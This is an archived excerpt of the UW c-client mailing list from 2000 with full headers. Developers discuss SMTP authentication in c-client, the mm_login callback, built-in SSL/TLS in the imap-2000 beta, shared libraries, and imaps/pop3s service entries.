CAA16250 for ; Wed, 31 May 2000 02:39:48 -0700 Received: from phyw164.phy.hw.ac.uk (phyw164.phy.hw.ac.uk [137.195.28.88]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id KAA11041 for ; Wed, 31 May 2000 10:39:44 +0100 (BST) Message-Id: <200005310939.KAA11041@phy.hw.ac.uk> Date: Wed, 31 May 2000 10:39:14 +0100 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: Re[2]: smtp_mail() with a username, how? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg On Tue, 30 May 2000 11:02:37 +0100 (GMT), Karsten Ballueder wrote: > > How can I set a username when accessing an smtp server? >=20 > Did you try using /user=3D... after the system name in the smtp_open() c= all? >=20 After I read John-Paul's reply I got that far. Now the smtp code tells me t= hat there are no SMTP authenticators available. So I guess I have to tell it wh= ich auth_xxx function to use. He mentioned auth_link(). Could you tell me how to do that, or where to find the info? -- Karsten Ball=FCder http://Ballueder.home.dhs.org/ mailto:karsten@phy.hw.= ac.uk Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 31 09:55:48 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 31 May 2000 09:55:48 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA19816 for ; Wed, 31 May 2000 09:55:47 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA15740; Wed, 31 May 2000 09:55:45 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA20292; Wed, 31 May 2000 09:54:03 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA30662 for ; Wed, 31 May 2000 09:51:53 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (hgm@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA05366 for ; Wed, 31 May 2000 09:51:52 -0700 Message-Id: Date: Wed, 31 May 2000 09:51:46 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Karsten Ballueder Cc: c-client Subject: Re: Re[2]: smtp_mail() with a username, how? In-Reply-To: <200005310939.KAA11041@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 31 May 2000, Karsten Ballueder wrote: > After I read John-Paul's reply I got that far. Now the smtp code tells me that > there are no SMTP authenticators available. So I guess I have to tell it which > auth_xxx function to use. He mentioned auth_link(). If you include linkage.c at the start of your application (which is required of all c-client applications) then you should get all supported drivers and authenticators lunk automatically. If you get a "no SMTP authenticators available" then either you aren't including linkage.c, or the SMTP server doesn't support any of c-client's supported authenticators (meaning that you have to write code to add support for one of the ones that it does support). -- Mark -- * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed May 31 10:31:08 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 31 May 2000 10:31:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA11485 for ; Wed, 31 May 2000 10:31:07 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA27860; Wed, 31 May 2000 10:31:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA28961; Wed, 31 May 2000 10:30:37 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA14828 for ; Wed, 31 May 2000 10:29:42 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA05809 for ; Wed, 31 May 2000 10:29:41 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (scipio@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA16904; Wed, 31 May 2000 10:29:41 -0700 Message-Id: Date: Wed, 31 May 2000 10:29:38 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Greg Hidley Cc: IMAP Interest List , c-client Interest List Subject: Re: UW IMAP toolkit 2000 (imap-2000) BETA released In-Reply-To: <4.3.2.7.2.20000531100136.02687f08@soeunix.ucsd.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 31 May 2000, Greg Hidley wrote: > We are currently using UW Imap 4.6 server on a Solaris Sparc system and > have it wrapped with stunnel to use SSLea SSL security. > > Are there specific advantages to using the "built-in" support of imap-2000 > on the server? Yes there are. The most important one is that you only need one process per IMAP session instead of two. You will get a performance boost by not having all the I/O going through stunnel separately. Another important benefit is that it gives TLS support as well. This is the new politically correct form of SSL and clients will start using it. A secondary one is that the IMAP server will once again know the actual host addresses of the IMAP session. This will make the log messages more useful, and more importantly let make Kerberos work under SSL if you use Kerberos. -- Mark -- * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Jun 1 00:09:52 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Jun 2000 00:09:49 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA01991 for ; Thu, 1 Jun 2000 00:09:46 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA05450; Thu, 1 Jun 2000 00:09:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id AAA20920; Thu, 1 Jun 2000 00:09:04 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id AAA25940 for ; Thu, 1 Jun 2000 00:03:57 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA01974 for ; Thu, 1 Jun 2000 00:03:57 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA15311; Thu, 1 Jun 2000 00:03:57 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rded@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id AAA18689; Thu, 1 Jun 2000 00:03:57 -0700 Message-Id: Date: Thu, 1 Jun 2000 00:02:05 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: LIAGRE Arnaud Cc: "'c-client@u.washington.edu'" Subject: re: open a mailbox without asking for login and password In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Whenever c-client needs a user name and password, it calls the mm_login() routine to get this information. The mm_login() routine is a routine that you write in your application. You can therefore make it do whatever you want. It does not have to prompt the user; it could simply return the information that your application already has. On Wed, 31 May 2000 10:47:13 +0200, LIAGRE Arnaud wrote: > I would like to know how to open the mailbox without asking the client for > his login and password. > In fact, I have already this information so I could use this info instead of > asking there for the client. > I read that mm_login () must be used but I'm not sure. > Please specify me how to use the login and password already given for the > client not being asked one more time. From pinedev@shivax2.cac.washington.edu Thu Jun 1 03:27:53 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Jun 2000 03:27:53 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA08021 for ; Thu, 1 Jun 2000 03:27:52 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA09359; Thu, 1 Jun 2000 03:27:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id DAA28627; Thu, 1 Jun 2000 03:26:10 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id DAA27916 for ; Thu, 1 Jun 2000 03:25:17 -0700 Received: from phy.hw.ac.uk (innpin.phy.hw.ac.uk [137.195.28.2]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA08053 for ; Thu, 1 Jun 2000 03:25:16 -0700 Received: from pc166.phy.hw.ac.uk (matterhorn.phy.hw.ac.uk [137.195.29.249]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id LAA00655 for ; Thu, 1 Jun 2000 11:25:11 +0100 (BST) Message-Id: <200006011025.LAA00655@phy.hw.ac.uk> Date: Thu, 1 Jun 2000 11:12:17 +0100 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: Re[4]: smtp_mail() with a username, how? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg If you include linkage.c at the start of your application (which is > required of all c-client applications) then you should get all supported > drivers and authenticators lunk automatically. I do include it, yes. > If you get a "no SMTP authenticators available" then either you aren't > including linkage.c, or the SMTP server doesn't support any of c-client'= s > supported authenticators (meaning that you have to write code to add > support for one of the ones that it does support). But what happens is that smtp_open_full() never calls smtp_auth() but inste= ad tells me that "SMTP authentication not available". That means, that=20 ESMTP.auth =3D=3D 0. Doesn't that imply that there is no authenticator for = SMTP available at all? From how I read the code it hasn't even tried yet which authenticators the server supports. I also found no place where ESMTP.auth = or stream->protocol.esmtp.auth got set. Currently, my code boils down to this: stream =3D smtp_open_full("hostname/user=3Dusername","esmtp",SMTPTCPPORT,OP= _DEBUG); (I tried both "esmtp" and "smtp" as protocol names, not sure which of the t= wo worked.) And that fails and returns a NULL stream, with the message given above. Is there any more help you could give me? Like, how to tell the smtp code t= hat there are authenticators (linkage.c does include auth_log and auth_md5) and= that it's supposed to use them. -- Karsten Ball=FCder http://Ballueder.home.dhs.org/ mailto:karsten@phy.hw.= ac.uk Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 1 04:26:25 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Jun 2000 04:26:24 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA30415 for ; Thu, 1 Jun 2000 04:26:23 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA22411; Thu, 1 Jun 2000 04:26:21 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id EAA23970; Thu, 1 Jun 2000 04:22:48 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id EAA21504 for ; Thu, 1 Jun 2000 04:22:19 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA22830 for ; Thu, 1 Jun 2000 04:22:18 -0700 Received: from icarus.dur.ac.uk (icarus.dur.ac.uk [129.234.1.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA10538; Thu, 1 Jun 2000 04:22:10 -0700 Received: from mercury.dur.ac.uk (mercury.dur.ac.uk [129.234.4.40]) by icarus.dur.ac.uk (8.9.1/8.9.1) with ESMTP id MAA10324; Thu, 1 Jun 2000 12:22:02 +0100 (BST) Received: from arachne (arachne.dur.ac.uk [129.234.2.4]) by mercury.dur.ac.uk (8.9.1/8.9.1) with ESMTP id MAA04686; Thu, 1 Jun 2000 12:22:02 +0100 (BST) Message-Id: Date: Thu, 1 Jun 2000 12:22:01 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: Mark Crispin Cc: c-client Interest List Subject: Re: UW IMAP toolkit 2000 (imap-2000) BETA released In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 30 May 2000, Mark Crispin wrote: > University of Washington IMAP toolkit 2000 (imap-2000) is now available as > a BETA distribution. imap-2000 has a large set of major internal and > external functional enhancements, as well as the usual set of bugfixes. > Formal release notes haven't been written up yet, but a list of the most > important changes is below. Thanks. I'll try to take a look sometime soon. Meanwhile, could you indicate whether there is any ability for building the code with "shared libraries", ("lib*.so" files) on those operating systems that support such a facility? We currently use imap-4.7b (which seems not to be able to generate shared libraries) on Solaris 2.6+ (which has the facility). For a system running imapd, ipop3d, dmail, tmail, chkmail, ... it would seem that shared libraries could be beneficial. Are there substantial reasons against their implementation and use? -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/~dcl0tdl South Road : : Durham : : Phone: +44 191 374 2882 U.K. : From pinedev@shivax2.cac.washington.edu Thu Jun 1 10:36:40 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Jun 2000 10:36:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA22468 for ; Thu, 1 Jun 2000 10:36:36 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA32171; Thu, 1 Jun 2000 10:36:34 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA08753; Thu, 1 Jun 2000 10:35:40 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA24840 for ; Thu, 1 Jun 2000 10:30:59 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA03479 for ; Thu, 1 Jun 2000 10:30:59 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA25320; Thu, 1 Jun 2000 10:30:58 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tober@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id KAA07869; Thu, 1 Jun 2000 10:30:58 -0700 Message-Id: Date: Thu, 1 Jun 2000 10:25:12 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: c-client Subject: re: Re[4]: smtp_mail() with a username, how? In-Reply-To: <200006011025.LAA00655@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 1 Jun 2000 11:12:17 +0100 (GMT), Karsten Ballueder wrote: > But what happens is that smtp_open_full() never calls smtp_auth() but > instead tells me that "SMTP authentication not available". That means that there are no authenticators common to both th eclient and the server. > I also found no place where ESMTP.auth or > stream->protocol.esmtp.auth got set. It is set in smtp_helo(). > Currently, my code boils down to this: > stream = > smtp_open_full("hostname/user=username","esmtp",SMTPTCPPORT,OP_DEBUG); There is no such service name as "esmtp"; always use "smtp". > And that fails and returns a NULL stream, with the message given above. You need to find out what authenticators the SMTP server supports. See what it says in response to the EHLO command. You should see one or more AUTH entries in the response. The CRAM-MD5 and LOGIN authenticators are always supported. If you build with Kerberos, then the GSSAPI authenticator is also supported. If an SSL session is in effect (imap-2000) then the PLAIN authenticator is also supported. From pinedev@shivax2.cac.washington.edu Thu Jun 1 11:13:13 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Jun 2000 11:13:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA15856 for ; Thu, 1 Jun 2000 11:13:10 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA21354; Thu, 1 Jun 2000 11:13:08 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA16407; Thu, 1 Jun 2000 11:11:33 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA29578 for ; Thu, 1 Jun 2000 11:07:14 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA12164 for ; Thu, 1 Jun 2000 11:07:14 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA21145 for ; Thu, 1 Jun 2000 11:07:14 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA32277; Thu, 1 Jun 2000 11:07:13 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (csp@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id LAA01055; Thu, 1 Jun 2000 11:07:13 -0700 Message-Id: Date: Thu, 1 Jun 2000 10:48:52 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Lee Cc: c-client Interest List Subject: Re: UW IMAP toolkit 2000 (imap-2000) BETA released In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 1 Jun 2000 12:22:01 +0100 (BST), David Lee wrote: > Meanwhile, could you indicate whether there is any ability for building > the code with "shared libraries", ("lib*.so" files) on those operating > systems that support such a facility? > Are there substantial reasons against their implementation and use? The only reason why we haven't a shared library version is that we have limited experience with building shared libraries on the wide variety of platforms supported by the IMAP toolkit; and the experience that we have has tended to shy us away. We had a instance where we wasted a lot of time tracking down a report of a bug that we thought we fixed, only to have it turn out to be that one of our modules had been made into a shared library. The site had neglected to update it when they updated the rest of the program! It's probably a good idea to do shared libraries, and it will probably happen eventually. From pinedev@shivax2.cac.washington.edu Thu Jun 1 13:39:02 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Jun 2000 13:39:01 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA12078 for ; Thu, 1 Jun 2000 13:39:00 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA05710; Thu, 1 Jun 2000 13:38:58 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA25575; Thu, 1 Jun 2000 13:33:23 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA39642 for ; Thu, 1 Jun 2000 13:32:33 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA09144 for ; Thu, 1 Jun 2000 13:32:31 -0700 Received: from rwja.umdnj.edu (rwja.UMDNJ.EDU [130.219.4.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA25864; Thu, 1 Jun 2000 13:32:28 -0700 Received: from localhost (localhost [127.0.0.1]) by rwja.umdnj.edu (8.8.6 (PHNE_17190)/8.8.6) with ESMTP id QAA06884; Thu, 1 Jun 2000 16:32:21 -0400 (EDT) Message-Id: Date: Thu, 1 Jun 2000 16:32:21 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Cliff Green To: Mark Crispin Cc: IMAP Interest List , c-client Interest List Subject: Re: UW IMAP toolkit 2000 (imap-2000) BETA released In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 31 May 2000, Mark Crispin wrote: MC> On Wed, 31 May 2000, Greg Hidley wrote: MC> > We are currently using UW Imap 4.6 server on a Solaris Sparc system and MC> > have it wrapped with stunnel to use SSLea SSL security. MC> > MC> > Are there specific advantages to using the "built-in" support of MC> imap-2000 > on the server? [munch] MC> Another important benefit is that it gives TLS support as well. This is MC> the new politically correct form of SSL and clients will start using it. So does this mean imaps and pop3s do or don't need to be added to /etc/inetd.conf and /etc/services? My naive reading of rfc2595 (section 7, imaps and pop3s ports) raises the question. Previously, I used stunnel and port 993; currently, I've just changed those entries to point at the imap-2000 versions of imapd and ipop3d - is this incorrect? Also, is there any method you would recommend of checking or logging (other than "imaps alternative service init" in mail.log) to indicate that some actual encryption may be going on here? c -- Clifford Green Internet - green@umdnj.edu Academic Computing Services voice - 732-235-5250 UMDNJ-IST fax - 732-235-5252 Keep interested in your own career, however humble; it is a real possession in the changing fortunes of time. From pinedev@shivax2.cac.washington.edu Thu Jun 1 13:54:37 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Jun 2000 13:54:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA02476 for ; Thu, 1 Jun 2000 13:54:35 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA26540; Thu, 1 Jun 2000 13:54:33 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA26562; Thu, 1 Jun 2000 13:49:04 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA27014 for ; Thu, 1 Jun 2000 13:47:43 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA19886 for ; Thu, 1 Jun 2000 13:47:43 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA06005; Thu, 1 Jun 2000 13:47:42 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA27499; Thu, 1 Jun 2000 13:47:42 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (stuart@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id NAA08396; Thu, 1 Jun 2000 13:47:42 -0700 Message-Id: Date: Thu, 1 Jun 2000 13:44:52 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Cliff Green Cc: IMAP Interest List , c-client Interest List Subject: Re: UW IMAP toolkit 2000 (imap-2000) BETA released In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 1 Jun 2000 16:32:21 -0400 (EDT), Cliff Green wrote: > So does this mean imaps and pop3s do or don't need to be added to > /etc/inetd.conf and /etc/services? Yes, add entries for imaps and pop3s. > Previously, I used stunnel > and port 993; currently, I've just changed those entries to point at the > imap-2000 versions of imapd and ipop3d - is 